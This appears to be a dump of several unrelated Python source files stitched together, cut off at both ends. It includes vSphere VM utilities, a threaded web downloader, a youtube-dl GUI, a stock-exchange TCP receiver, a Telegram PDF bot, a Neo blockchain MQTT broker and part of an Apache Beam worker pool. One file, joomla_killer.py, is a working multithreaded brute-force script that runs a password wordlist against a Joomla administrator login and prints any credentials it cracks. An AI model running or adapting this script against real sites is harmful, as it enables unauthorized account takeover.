upload_t2 = time.time() if (upload_t2 - upload_t1) > 3600: raise CurieTestException("Timeout uploading vmdk %d/%d %s" % (xx + 1, len(vmdk_paths), vmdk_path)) vim_lease.HttpNfcLeaseComplete() return elif vim_lease.state == vim.HttpNfcLease.State.error: raise CurieTestException("Lease connection error on %s: %s" % (self.__host, vim_lease.error.msg)) t2 = time.time() elapsed_secs = t2 - t1 if elapsed_secs >= 300: raise CurieTestException("Timeout waiting for lease to become ready") log.info("Waiting for lease on %s to become ready (%d secs), state %s", self.__host, elapsed_secs, vim_lease.state) time.sleep(1) def __upload_vmdk(self, vmdk_path, target_url): """ Upload a VM virtual disk with path 'vmdk_path' using the target URL 'target_url'. """ curl_cmd = ("curl -Ss -X POST --insecure -T %s -H 'Content-Type: " "application/x-vnd.vmware-streamVmdk' %s" % (vmdk_path, target_url)) proc = subprocess.Popen(curl_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) stdout, stderr = proc.communicate() rv = proc.wait() if rv != 0: error_msg = "Failed to upload %s to %s: %d, %s, %s" % \ (vmdk_path, target_url, rv, stdout, stderr) raise CurieTestException(error_msg) def __clone_vm(self, vim_vm, vm_name, vim_datacenter, vim_datastore, vim_host, linked_clone_snapshot=None): """ Create a clone of the VM 'vim_vm' with name 'vm_name' and place it in the VM folder for 'vim_datacenter' and on datastore 'vim_datastore'. Register it with host 'vim_host'. Returns the task for the clone operation. """ vim_vm_folder = vim_datacenter.vmFolder vim_relocate_spec = vim.vm.RelocateSpec(host=vim_host, datastore=vim_datastore) vim_clone_spec = vim.vm.CloneSpec(location=vim_relocate_spec) if linked_clone_snapshot is not None: vim_clone_spec.snapshot = linked_clone_snapshot vim_relocate_spec.diskMoveType = "createNewChildDiskBacking" return vim_vm.Clone(folder=vim_vm_folder, name=vm_name, spec=vim_clone_spec) def __cancel_entity_tasks(self, vim_cluster, entity_names): """ Cancel any tasks for the entities (e.g., VMs) on cluster 'vim_cluster' with names 'entity_names' and wait for the tasks to complete. """ entity_name_set = set(entity_names) tasks = [] for vim_task in vim_cluster.resourcePool.recentTask: try: task = VsphereTask.from_vim_task(vim_task) if task._task.info.entityName not in entity_name_set: continue if not task.cancel(): tasks.append(task) except vmodl.fault.ManagedObjectNotFound as exc: continue # NB: Will raise an appropriate exception on timeout. TaskPoller.execute_parallel_tasks(tasks=tasks, timeout_secs=len(tasks) * 1800) def __vm_has_ip(self, vim_vm): """ Returns True if the VM 'vim_vm' has an IPv4 address assigned to it. """ vim_guest = get_optional_vim_attr(vim_vm.summary, "guest") if vim_guest is None: log.info("VM %s does not have guest information set yet", vim_vm.name) return False vm_ip = get_optional_vim_attr(vim_guest, "ipAddress") if vm_ip is None: log.info("VM %s does not have an IP address yet", vim_vm.name) return False if not CurieUtil.is_ipv4_address(vm_ip): log.warning("VM %s currently has a non-IPv4 primary IP %s", vim_vm.name, vm_ip) return False log.info("VM %s has IP address %s", vim_vm.name, vm_ip) return True def __disconnect_hosts(self, vim_hosts, timeout_secs, raise_on_error=False): """ Disconnect 'vim_hosts' to force a vCenter refresh. Args: vim_hosts (list<vim.HostSystem>) vim objects for hosts to reconnect. timeout_secs (number): Timeout for disconnect tasks. raise_on_error (bool): Optional. If True, raise an exception if any tasks enter a terminal state other than 'SUCCEEDED'. (Default False). Returns: dict<str, VsphereTaskDescriptor> Map of host IDs to descriptors for their Disconnect tasks. """ host_id_disconnect_task_desc_map = {} # If 'raise_on_error' is False, don't check task state for success. desired_state = TaskStatus.kSucceeded if raise_on_error else None for vim_host in vim_hosts: host_id_disconnect_task_desc_map[vim_host.name] = VsphereTaskDescriptor( pre_task_msg="Disconnecting host '%s' via vCenter" % vim_host.name, post_task_msg="vCenter disconnect host task for '%s' has exited" % vim_host.name, create_task_func=vim_host.Disconnect, desired_state=desired_state) TaskPoller.execute_parallel_tasks( task_descriptors=host_id_disconnect_task_desc_map.values(), max_parallel=FLAGS.vsphere_vcenter_max_parallel_tasks, timeout_secs=len(vim_hosts) * timeout_secs) return host_id_disconnect_task_desc_map def __reconnect_hosts(self, vim_hosts, timeout_secs, raise_on_error=False): """ Reconnect 'vim_hosts' to force a vCenter refresh. Args: vim_hosts (list<vim.HostSystem>) vim objects for hosts to reconnect. timeout_secs (number): Timeout for reconnect tasks. raise_on_error (bool): Optional. If True, raise an exception if any tasks enter a terminal state other than 'SUCCEEDED'. (Default False). Returns: dict<str, VsphereTaskDescriptor> Map of host IDs to descriptors for their Reconnect tasks. """ host_id_reconnect_task_desc_map = {} # If 'raise_on_error' is False, don't check task state for success. desired_state = TaskStatus.kSucceeded if raise_on_error else None for vim_host in vim_hosts: host_id_reconnect_task_desc_map[vim_host.name] = VsphereTaskDescriptor( pre_task_msg="Reconnecting host '%s' via vCenter" % vim_host.name, post_task_msg="Task to reconnect host '%s' via vCenter has exited" % vim_host.name, create_task_func=vim_host.Reconnect, desired_state=desired_state) TaskPoller.execute_parallel_tasks( task_descriptors=host_id_reconnect_task_desc_map.values(), max_parallel=FLAGS.vsphere_vcenter_max_parallel_tasks, timeout_secs=len(vim_hosts) * timeout_secs) return host_id_reconnect_task_desc_map
downloader.py
from crawler.config import Config from concurrent.futures import ThreadPoolExecutor, wait, ALL_COMPLETED import time from crawler.url_manager import UrlManager import requests from requests.exceptions import ConnectTimeout, ReadTimeout from multiprocessing import Process, SimpleQueue, Manager from tqdm import tqdm import copy HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' 'AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.52'} class Result: def __init__(self, urls_detail: dict, finished_urls: list, failed_urls: list , config: Config, start_time, initial_time, end_time): self.urls_detail = Manager().dict() self.urls_detail.update(urls_detail) self.finished_urls = Manager().list() self.finished_urls.extend(finished_urls) self.failed_urls = Manager().list() self.failed_urls.extend(failed_urls) self.config = copy.deepcopy(config) self.start_time = start_time self.initial_time = initial_time self.end_time = end_time def get_failed_urls(self): return self.failed_urls def get_finished_urls(self): return self.finished_urls def get_urls_detail_dict(self): return self.urls_detail def retry_failed_urls(self, *new_config: Config): if len(self.failed_urls) == 0: print("no failed urls") return True config = copy.deepcopy(new_config[0] if len(new_config) == 1 else self.config) if len(new_config) == 1: config.list_config() retry_downloader = Downloader(config) result = retry_downloader.get_result(self.failed_urls) self.failed_urls = result.failed_urls for url in result.finished_urls: self.finished_urls.append(url) self.urls_detail.update(result.urls_detail) return True def show_time_cost(self): time_cost = '\n'.join(['initialize download tasks cost: {:.2f}s'.format(self.initial_time - self.start_time), 'finish download task cost: {:.2f}s'.format(self.end_time - self.initial_time), 'total cost: {:.2f}s'.format(self.end_time - self.start_time)]) print(time_cost) def show_urls_status(self): urls_status = '|'.join(['finished: ' + str(len(self.finished_urls)), 'failed: ' + str(len(self.failed_urls)), 'total: ' + str(len(self.finished_urls) + len(self.failed_urls))]) print(urls_status) class Downloader: def __init__(self, *config: Config): self.config = copy.deepcopy(config[0]) if len(config) == 1 else Config() self.chinese_support = False def enable_chinese_transcoding(self): self.chinese_support = True def disable_chinese_transcoding(self): self.chinese_support = False def change_config(self, config: Config): self.config = copy.deepcopy(config) def get_req(self, url): i = 0 retry = self.config.get_config("proxy", "retry") proxy_url = self.config.get_config("proxy", "proxy_url") proxies = { 'http': 'http://' + proxy_url, 'https': 'https://' + proxy_url } if proxy_url != '' else None while i <= retry: try: req = requests.get(url, headers=HEADERS, timeout=self.config.get_config("proxy", "timeout"), proxies=proxies) except (ConnectTimeout, ReadTimeout, requests.exceptions.ConnectionError) as e: i += 1 if i > retry: raise e else: assert req.status_code == 200, req.status_code if self.chinese_support: if req.apparent_encoding.lower() == 'gb2312' or req.apparent_encoding.lower() == 'gbk': req.encoding = 'gb18030' return req def download_thread(self, url_manager, queue): url = url_manager.get_url() while url is not None: try: req = self.get_req(url) except (AssertionError, Exception) as e: url_manager.fail_url(url, e) else: url_manager.finish_url(url, req) finally: queue.put(url) time.sleep(self.config.get_config("multi", "delay")) url = url_manager.get_url() return True def download_process(self, thread_number, url_manager, queue): thread_executor = ThreadPoolExecutor(max_workers=thread_number) thread_futures = [] for i in range(thread_number): future = thread_executor.submit(self.download_thread, url_manager, queue) thread_futures.append(future) wait(thread_futures, return_when=ALL_COMPLETED) return True def get_result(self, urls: list, *url_manager: UrlManager): if len(urls) == 0: print("empty url list") return None start_time = time.time() urls = copy.deepcopy(urls) url_manager = url_manager[0] if len(url_manager) == 1 else UrlManager() bar = tqdm(range(len(urls)), total=len(urls), desc="add urls", unit="url") for url in urls: url_manager.add_url(url) bar.update(1) bar.close() work_number = len(url_manager.waiting_urls) process_number = min(self.config.get_config("multi", "process_number"), work_number) thread_number = self.config.get_config("multi", "thread_number") thread_number = min((work_number // process_number) + 1, thread_number) queue = SimpleQueue() for i in range(process_number): Process(target=self.download_process, args=(thread_number, url_manager, queue)).start() initial_time = time.time() for i in tqdm(range(work_number), total=work_number, desc="download urls", unit="url", postfix={"process": process_number, "thread": thread_number}): queue.get() print("") end_time = time.time() return Result(url_manager.detail_dict, url_manager.finished_urls, url_manager.failed_urls , self.config, start_time, initial_time, end_time)
YoutubeDLGUI.py
from tkinter import ttk from tkinter import filedialog import youtube_dl from ttkthemes import ThemedTk import tkinter as tk import threading filename = "" progress = "" def browse_button(): global folder_path global filename filename = filedialog.askdirectory() folder_path.set(filename) def threadmanager(): t = threading.Thread(target=started) t.start() def my_hook(d): global progress if d["status"] == "downloading": progress = "Progress:" + d["_percent_str"] + " Remaining: " + d["_eta_str"] + " Speed: " + d["_speed_str"] elif d["status"] == "finished": progress = "Finished downloading in " + d["_elapsed_str"] msg.config(text=progress) msg.pack() def started(): error.config(text="OK!") error.pack() try: if selected.get() == 1: ydl_options = {"format": "bestaudio", "noplaylist": "True", "outtmpl": str(filename) + "/%(title)s" + ".%(ext)s", #"ffmpeg_location": "C:/ffmpeg", "progress_hooks": [my_hook], "postprocessors": [{"key": "FFmpegExtractAudio", "preferredcodec": "mp3"}]} if input.get().count(".com") == 1: with youtube_dl.YoutubeDL(ydl_options) as ydl: ydl.download([input.get()]) else: with youtube_dl.YoutubeDL(ydl_options) as ydl: ydl.download([f"ytsearch:{input.get()}"]) elif selected.get() == 2: ydl_options = {"format": "bestvideo[ext=mp4]+bestaudio[ext=m4a]", "noplaylist": "True", "outtmpl": str(filename) + "/%(title)s" + ".%(ext)s", #"ffmpeg_location": "C:/ffmpeg", "progress_hooks": [my_hook]} if input.get().count(".com") == 1: with youtube_dl.YoutubeDL(ydl_options) as ydl: ydl.download([input.get()]) else: with youtube_dl.YoutubeDL(ydl_options) as ydl: ydl.download([f"ytsearch:{input.get()}"]) else: error.config(text="Select a format!") except NameError: error.config(text="Select a Directory!") except youtube_dl.utils.DownloadError: error.config(text="Title or URL missing!") error.pack() root = ThemedTk(theme="arc") root.title("Youtube-DL") root.geometry("300x220") root.minsize(300, 220) root.maxsize(300, 220) title = ttk.Label(root, text="Youtube-DL GUI") title.pack() title = ttk.Label(root, text="Title or URL:") title.pack() input = ttk.Entry(root, width=45) input.pack() selected = tk.IntVar() MP3 = ttk.Radiobutton(root, text="MP3", value=1, variable=selected) MP4 = ttk.Radiobutton(root, text="MP4", value=2, variable=selected) MP3.pack() MP4.pack() folder_path = tk.StringVar() br = ttk.Label(root, textvariable=folder_path) br.pack() br2 = ttk.Button(text="Browse", command=browse_button) br2.pack() msg = ttk.Label(root, text="") error = ttk.Label(root, text="") btn = ttk.Button(root, text="Download", command=threadmanager) btn.pack() root.mainloop()
receiver.py
""" The Ouch Team TCP/IP Input Receiver Use with, uh, "with" block, similar to how its used in file manipulation: >>> with receiver() as r: ... r.getBytestream() ... # insert code here With this, excess port bandwidth is not taken up, as connection cleanly closes once it is out of scope. THERE IS PROBABLY BUGS IN THIS :( ## Receiver class has been modified to include an __init__ method so that it can be more easily integrated with the exchange. ## """ import socket import threading from queue import Queue import pprint import configparser from src.util import Util class Receiver(): # class constant: Store the expected length of each type of message (minus the header byte), along with appropriate header byte BODY_LENGTH_DICT = { b'O' : 47, # ENTER b'U' : 25, # REPLACE b'X' : 8, # CANCEL b'S' : 9, # EVENT b'A' : 64, # ACCEPTED b'U' : 51, # REPLACED b'C' : 17, # CANCELLED b'D' : 26, # AIQ CANCELLED b'E' : 29, # EXECUTED b'J' : 13, # REJECTED } def __init__(self): """ This class accepts connections from multiple clients by spawning a new thread whenever a client connects to the socket. On initialisation, this class will immediately spawn a darmon listener which continuously listens for threads. Messages from the client will be placed into a shared queue, which can be retrieved by a context which calls the get_queue function. """ # Message queue which will be retrieved by the exchange self.queue = Queue() # Prepare socket self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._setup_socket() # {client_id: socket} self.client_dict = {} self.client_dict_lock = threading.Lock() self.client_no = 0 # List of all messages received by the server socket in sequence - for debugging. self.message_log_lock = threading.Lock() self.message_log = [] # List of connections and disconnections - for debugging. self.connection_log_lock = threading.Lock() self.connection_log = [] # List of client Thread objects. self.threads = [] self.thread_lock = threading.Lock() # Daemon thread which listens for and accepts connections. self.daemon_listener = threading.Thread( name = "daemon", target = lambda: self._receive_connections_thread(), daemon = True ) self.daemon_listener.start() def send_message(self, client_id: int, msg: bytes): """ Sends a byte message to the connection hashed to by the client_id. """ header = msg[0:1] if header in self.BODY_LENGTH_DICT.keys(): if len(msg)-1 != self.BODY_LENGTH_DICT[header]: raise ValueError(f"Message {msg} has invalid length {len(msg)}") else: raise ValueError(f"Sending message with invalid header '{header}'") self.client_dict_lock.acquire() self.client_dict[client_id].send(msg) self.client_dict_lock.release() def get_queue(self) -> Queue: """Returns the message queue.""" return self.queue def print_log(self): """Prints the sequence of messages received by the server.""" self.message_log_lock.acquire() print("-----------") print("Message Log") print("-----------") pprint.pprint(self.message_log) self.message_log_lock.release() print("Address: " + str(self.DEFAULT_ADDRESS)) def print_connections(self): """Prints the log of connections to and disconnections from the server.""" self.connection_log_lock.acquire() print("--------------") print("Connection Log") print("--------------") for event in self.connection_log: print(event) self.connection_log_lock.release() def terminate(self): """Close all threads and shut down receiver.""" self.client_dict_lock.acquire() for conn in self.client_dict.values(): conn.close() self.client_dict_lock.release() self.thread_lock.acquire() for thread in self.threads: thread.join() self.thread_lock.release() def _setup_socket(self): """Bind socket and listen for connections.""" host, port = Util.get_addr() self.socket.bind((host, port)) self.socket.listen(100) def _receive_connections_thread(self): """Wrapper function for threading _receive_connections.""" while True: self._receive_connections() def _receive_connections(self): """ Daemon thread spawning a new thread whenever a client connects. Also assigns a client id to each connection. """ connection, addr = self.socket.accept() client_id = hash((addr, self.client_no)) self.client_dict_lock.acquire() self.client_dict[client_id] = connection self.client_dict_lock.release() self.connection_log_lock.acquire() self.connection_log.append(f"{Util.get_server_time()}: client_id {client_id} connected.") self.connection_log_lock.release() self.queue.put({ "type": "C", "id": client_id }) client = threading.Thread( name = "client"+str(self.client_no), target = lambda: self._handle_client(connection, client_id), daemon = True ) client.start() self.thread_lock.acquire() self.threads.append(client) self.thread_lock.release() self.client_no += 1 def _handle_client(self, connection, client_id): """ Listens to the client and puts any non-empty byte message into the queue. A new thread running handle_client is spawned whenever the receiver accepts a new connection. """ while True: try: header, body = self._receive_bytes(connection) if body != 0x00: self.queue.put({ "type": "M", # Message "id": client_id, "header": header, "body": body }) self.message_log_lock.acquire() self.message_log.append(["id: " + str(client_id), header + body]) self.message_log_lock.release() except Exception: self.connection_log_lock.acquire() self.connection_log.append(f"{Util.get_server_time()}: client_id {client_id} disconnected.") self.connection_log_lock.release() break def _receive_bytes(self, connection: socket): # -> (bytes, bytes): """ Body is appropriately sized to match the header, according to Japannext OUCH Specs. All illegal headers are returned with a single null byte as body. """ # Store header byte header = connection.recv(1) # Calculates expected size of body, using bodyLengthDict body_length = 0 if header in self.BODY_LENGTH_DICT.keys(): body_length = self.BODY_LENGTH_DICT[header] else: raise ValueError(f"Invalid header type '{header}'") # grab body, body = connection.recv(body_length) if body_length != 0 else 0x00 # output return header, body
bot.py
import datetime as dt import logging import os import sys from threading import Thread from dotenv import load_dotenv from logbook import Logger, StreamHandler from logbook.compat import redirect_logging from telegram import ( ForceReply, InlineKeyboardButton, InlineKeyboardMarkup, MessageEntity, ParseMode, Update, ) from telegram.chataction import ChatAction from telegram.ext import ( CallbackContext, CallbackQueryHandler, CommandHandler, Filters, MessageHandler, PreCheckoutQueryHandler, Updater, ) from telegram.error import Unauthorized from telegram.ext import messagequeue as mq from telegram.utils.request import Request from pdf_bot import * load_dotenv() APP_URL = os.environ.get("APP_URL") PORT = int(os.environ.get("PORT", "8443")) TELE_TOKEN = os.environ.get("TELE_TOKEN_BETA", os.environ.get("TELE_TOKEN")) DEV_TELE_ID = int(os.environ.get("DEV_TELE_ID")) TIMEOUT = 20 CALLBACK_DATA = "callback_data" def main(): # Setup logging logging.getLogger("pdfminer").setLevel(logging.WARNING) logging.getLogger("ocrmypdf").setLevel(logging.WARNING) redirect_logging() format_string = "{record.level_name}: {record.message}" StreamHandler( sys.stdout, format_string=format_string, level="INFO" ).push_application() log = Logger() q = mq.MessageQueue(all_burst_limit=3, all_time_limit_ms=3000) request = Request(con_pool_size=8) pdf_bot = MQBot(TELE_TOKEN, request=request, mqueue=q) # Create the EventHandler and pass it your bot's token. updater = Updater( bot=pdf_bot, use_context=True, request_kwargs={"connect_timeout": TIMEOUT, "read_timeout": TIMEOUT}, ) def stop_and_restart(): updater.stop() os.execl(sys.executable, sys.executable, *sys.argv) def restart(_): Thread(target=stop_and_restart).start() job_queue = updater.job_queue job_queue.run_repeating(restart, interval=dt.timedelta(minutes=30)) # Get the dispatcher to register handlers dispatcher = updater.dispatcher # General commands handlers dispatcher.add_handler(CommandHandler("start", start_msg, run_async=True)) dispatcher.add_handler(CommandHandler("help", help_msg, run_async=True)) dispatcher.add_handler(CommandHandler("setlang", send_lang, run_async=True)) dispatcher.add_handler( CommandHandler("support", send_support_options, run_async=True) ) dispatcher.add_handler(CommandHandler("send", send_msg, Filters.user(DEV_TELE_ID))) dispatcher.add_handler( CommandHandler("stats", get_stats, Filters.user(DEV_TELE_ID)) ) # Callback query handler dispatcher.add_handler(CallbackQueryHandler(process_callback_query, run_async=True)) # Payment handlers dispatcher.add_handler( MessageHandler( Filters.reply & TEXT_FILTER, receive_custom_amount, run_async=True ) ) dispatcher.add_handler(PreCheckoutQueryHandler(precheckout_check, run_async=True)) dispatcher.add_handler( MessageHandler(Filters.successful_payment, successful_payment, run_async=True) ) # URL handler dispatcher.add_handler( MessageHandler(Filters.entity(MessageEntity.URL), url_to_pdf, run_async=True) ) # PDF commands handlers dispatcher.add_handler(compare_cov_handler()) dispatcher.add_handler(merge_cov_handler()) dispatcher.add_handler(photo_cov_handler()) dispatcher.add_handler(text_cov_handler()) dispatcher.add_handler(watermark_cov_handler()) # PDF file handler dispatcher.add_handler(file_cov_handler()) # Feedback handler dispatcher.add_handler(feedback_cov_handler()) # Log all errors dispatcher.add_error_handler(error_callback) # Start the Bot if APP_URL is not None: updater.start_webhook( listen="0.0.0.0", port=PORT, url_path=TELE_TOKEN, webhook_url=APP_URL + TELE_TOKEN, ) log.notice("Bot started webhook") else: updater.start_polling() log.notice("Bot started polling") # Run the bot until the you presses Ctrl-C or the process receives SIGINT, # SIGTERM or SIGABRT. This should be used most of the time, since # start_polling() is non-blocking and will stop the bot gracefully. updater.idle() def start_msg(update: Update, context: CallbackContext) -> None: update.effective_message.chat.send_action(ChatAction.TYPING) # Create the user entity in Datastore create_user(update.effective_message.from_user) _ = set_lang(update, context) update.effective_message.reply_text( _( "Welcome to PDF Bot!\n\n<b>Key features:</b>\n" "- Compress, merge, preview, rename, split and add watermark to PDF files\n" "- Create PDF files from text messages\n" "- Extract images and text from PDF files\n" "- Convert PDF files into images\n" "- Convert webpages and images into PDF files\n" "- Beautify handwritten notes images into PDF files\n" "- <b><i>And more...</i></b>\n\n" "Type /help to see how to use PDF Bot" ), parse_mode=ParseMode.HTML, ) def help_msg(update, context): update.effective_message.chat.send_action(ChatAction.TYPING) _ = set_lang(update, context) keyboard = [ [InlineKeyboardButton(_("Set Language 🌎"), callback_data=SET_LANG)], [ InlineKeyboardButton(_("Join Channel"), f"https://t.me/{CHANNEL_NAME}"), InlineKeyboardButton(_("Support PDF Bot"), callback_data=PAYMENT), ], ] reply_markup = InlineKeyboardMarkup(keyboard) update.effective_message.reply_text( _( "You can perform most of the tasks by sending me one of the followings:\n" "- PDF files\n- Photos\n- Webpage links\n\n" "The rest of the tasks can be performed by using the commands below:\n" "/compare - compare PDF files\n" "/merge - merge PDF files\n" "/photo - convert and combine multiple photos into PDF files\n" "/text - create PDF files from text messages\n" "/watermark - add watermark to PDF files" ), reply_markup=reply_markup, ) def process_callback_query(update: Update, context: CallbackContext): _ = set_lang(update, context) query = update.callback_query data = query.data if CALLBACK_DATA not in context.user_data: context.user_data[CALLBACK_DATA] = set() if data not in context.user_data[CALLBACK_DATA]: context.user_data[CALLBACK_DATA].add(data) if data == SET_LANG: send_lang(update, context, query) elif data in LANGUAGES: store_lang(update, context, query) if data == PAYMENT: send_support_options(update, context, query) elif data in [THANKS, COFFEE, BEER, MEAL]: send_payment_invoice(update, context, query) elif data == CUSTOM: context.bot.send_message( query.from_user.id, _("Send me the amount that you'll like to support PDF Bot"), reply_markup=ForceReply(), ) context.user_data[CALLBACK_DATA].remove(data) query.answer() def send_msg(update: Update, context: CallbackContext): tele_id = int(context.args[0]) message = " ".join(context.args[1:]) try: context.bot.send_message(tele_id, message) update.effective_message.reply_text("Message sent") except Exception as e: log = Logger() log.error(e) update.effective_message.reply_text("Failed to send message") def error_callback(update: Update, context: CallbackContext): if context.error is not Unauthorized: log = Logger() log.error(f'Update "{update}" caused error "{context.error}"') if __name__ == "__main__": main()
neo-pubsub.py
#!/usr/bin/env python3 """ neo-pubsub.py MIT License Copyright 2017 Splyse Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----- About ----- This script acts as a standalone neo-python node/MQTT pubsub server. It listens for Runtime.Notify events and publishes them to the MQTT queue to broadcast to subscribing clients such as IOT devices. It is intended to run inside the ./contrib directory of a fully configured neo-python installation. (Due to limitations of LevelDB, it is not possible to run prompt.py while this script is running) ------------ Installation ------------ Additional libraries are needed over the default requirements of neo-python: pip install hbmqtt paho-mqtt """ import os import sys import signal import logging import functools import asyncio import hbmqtt import binascii from hbmqtt.broker import Broker from hbmqtt.mqtt.publish import PublishPacket import paho.mqtt.publish as publish from threading import Thread current_dir = os.path.dirname(os.path.abspath(__file__)) parent_dir = os.path.abspath(os.path.join(current_dir, "..")) sys.path.insert(0, parent_dir) from contrib.smartcontract import SmartContract from neo.Network.NodeLeader import NodeLeader from twisted.internet import reactor, task from neo.Core.Blockchain import Blockchain, Events from neo.SmartContract.StateReader import StateReader from neo.Implementations.Blockchains.LevelDB.LevelDBBlockchain import LevelDBBlockchain from neo.Settings import settings smart_contract = SmartContract("b3a14d99a3fb6646c78bf2f4e2f25a7964d2956a") @smart_contract.on_notify def sc_notify(event): if len(event.event_payload): #sender = event.event_payload[0].decode("utf-8") key = event.event_payload[1].decode("utf-8") pub = b'::'.join([binascii.unhexlify(item.decode()) for item in event.event_payload[2:]]) print("**** NOTIFY: {}/{}/{}".format(event.contract_hash, key, pub)) publish.single("Neo/{}/{}".format(event.contract_hash, key), payload=pub) config = { 'listeners': { 'default': { 'type': 'tcp', 'bind': '0.0.0.0:1883', }, }, 'auth': { 'allow-anonymous': True, 'plugins': [ 'auth_anonymous', ] } } def do_quit(): print('Shutting down.') Blockchain.Default().Dispose() reactor.stop() NodeLeader.Instance().Shutdown() sys.exit(0) def signal_handler(signal, frame): do_quit() def prefix_function(origfunction, prefunction): @functools.wraps(origfunction) @asyncio.coroutine def run(*args, **kwargs): prefunction(*args, **kwargs) return origfunction(*args, **kwargs) return run # This functions as an ACL to ensure only localhost can publish to the queue def acl_handle_publish(self, publish_packet: PublishPacket): peer = self.reader._reader._transport._extra['peername'][0] if peer == '127.0.0.1': pass else: print("PUBLISH {} from {} blocked!".format(publish_packet.data, peer)) raise Exception("denied") return @asyncio.coroutine def broker_coro(): broker = Broker(config) yield from broker.start() def on_notify(ea): scripthash = ea.ScriptHash.ToString() if scripthash in watched_scripthashes: print("Got scripthash match for {}".format(scripthash)) pub = b'' key = b'' if ea.State.IsArray: itemlist = ea.State.GetArray() sender = itemlist[0]._value key = itemlist[1]._value pub = b'::'.join([binascii.unhexlify(item._value.decode()) for item in itemlist[2:]]) else: pub = b'{}'.format(ea.State._value) print("**** NOTIFY: {}/{}/{}".format(scripthash, key.decode(), pub)) publish.single("Neo/{}/{}".format(scripthash, key.decode()), payload=pub) else: print("Scripthash {} not in watchlist, continuing...".format(scripthash)) def neo_loop(): blockchain = LevelDBBlockchain(settings.LEVELDB_PATH) Blockchain.RegisterBlockchain(blockchain) print("PersistBlocks task starting") dbloop = task.LoopingCall(Blockchain.Default().PersistBlocks) dbloop.start(.01) print("Node task starting") NodeLeader.Instance().Start() print("Entering main reactor loop") reactor.run(installSignalHandlers=False) def main(): signal.signal(signal.SIGINT, signal_handler) formatter = "[%(asctime)s] :: %(levelname)s :: %(name)s :: %(message)s" logging.basicConfig(level=logging.INFO, format=formatter) print("Installing Runtime.Notify event handler") #StateReader.NotifyEvent.on_change += on_notify hbmqtt.mqtt.protocol.handler.ProtocolHandler.handle_publish = prefix_function( hbmqtt.mqtt.protocol.handler.ProtocolHandler.handle_publish, acl_handle_publish) print("Starting Neo thread") t = Thread(target=neo_loop) t.start() print("Starting MQTT broker task") loop = asyncio.get_event_loop() loop.run_until_complete(broker_coro()) loop.run_forever() if __name__ == "__main__": main()
joomla_killer.py
import urllib2 import urllib import cookielib import threading import sys import Queue from HTMLParser import HTMLParser # general settings user_thread = 10 username = "admin" wordlist_file = "/tmp/cain.txt" resume = None # target specific settings target_url = "http://192.168.112.131/administrator/index.php" target_post = "http://192.168.112.131/administrator/index.php" username_field= "username" password_field= "passwd" success_check = "Administration - Control Panel" class BruteParser(HTMLParser): def __init__(self): HTMLParser.__init__(self) self.tag_results = {} def handle_starttag(self, tag, attrs): if tag == "input": tag_name = None tag_value = None for name,value in attrs: if name == "name": tag_name = value if name == "value": tag_value = value if tag_name is not None: self.tag_results[tag_name] = value class Bruter(object): def __init__(self, username, words): self.username = username self.password_q = words self.found = False print "Finished setting up for: %s" % username def run_bruteforce(self): for i in range(user_thread): t = threading.Thread(target=self.web_bruter) t.start() def web_bruter(self): while not self.password_q.empty() and not self.found: brute = self.password_q.get().rstrip() jar = cookielib.FileCookieJar("cookies") opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) response = opener.open(target_url) page = response.read() print "Trying: %s : %s (%d left)" % (self.username,brute,self.password_q.qsize()) # parse out the hidden fields parser = BruteParser() parser.feed(page) post_tags = parser.tag_results # add our username and password fields post_tags[username_field] = self.username post_tags[password_field] = brute login_data = urllib.urlencode(post_tags) login_response = opener.open(target_post, login_data) login_result = login_response.read() if success_check in login_result: self.found = True print "[*] Bruteforce successful." print "[*] Username: %s" % username print "[*] Password: %s" % brute print "[*] Waiting for other threads to exit..." def build_wordlist(wordlist_file): # read in the word list fd = open(wordlist_file,"rb") raw_words = fd.readlines() fd.close() found_resume = False words = Queue.Queue() for word in raw_words: word = word.rstrip() if resume is not None: if found_resume: words.put(word) else: if word == resume: found_resume = True print "Resuming wordlist from: %s" % resume else: words.put(word) return words words = build_wordlist(wordlist_file) bruter_obj = Bruter(username,words) bruter_obj.run_bruteforce()
worker_pool_main.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ Worker pool entry point. The worker pool exposes an RPC service that is used with EXTERNAL environment to start and stop the SDK workers. The worker pool uses child processes for parallelism; threads are subject to the GIL and not sufficient. This entry point is used by the Python SDK container in worker pool mode. """ from __future__ import absolute_import import argparse import atexit import logging import subprocess import sys import threading import time import grpc from apache_beam.portability.api import beam_fn_api_pb2 from apache_beam.portability.api import beam_fn_api_pb2_grpc from apache_beam.runners.worker import sdk_worker from apache_beam.utils.thread_pool_executor import UnboundedThreadPoolExecutor _LOGGER = logging.getLogger(__name__) class BeamFnExternalWorkerPoolServicer( beam_fn_api_pb2_grpc.BeamFnExternalWorkerPoolServicer): def __init__(self, use_process=False, container_executable=None, state_cache_size=0): self._use_process = use_process self._container_executable = container_executable self._state_cache_size = 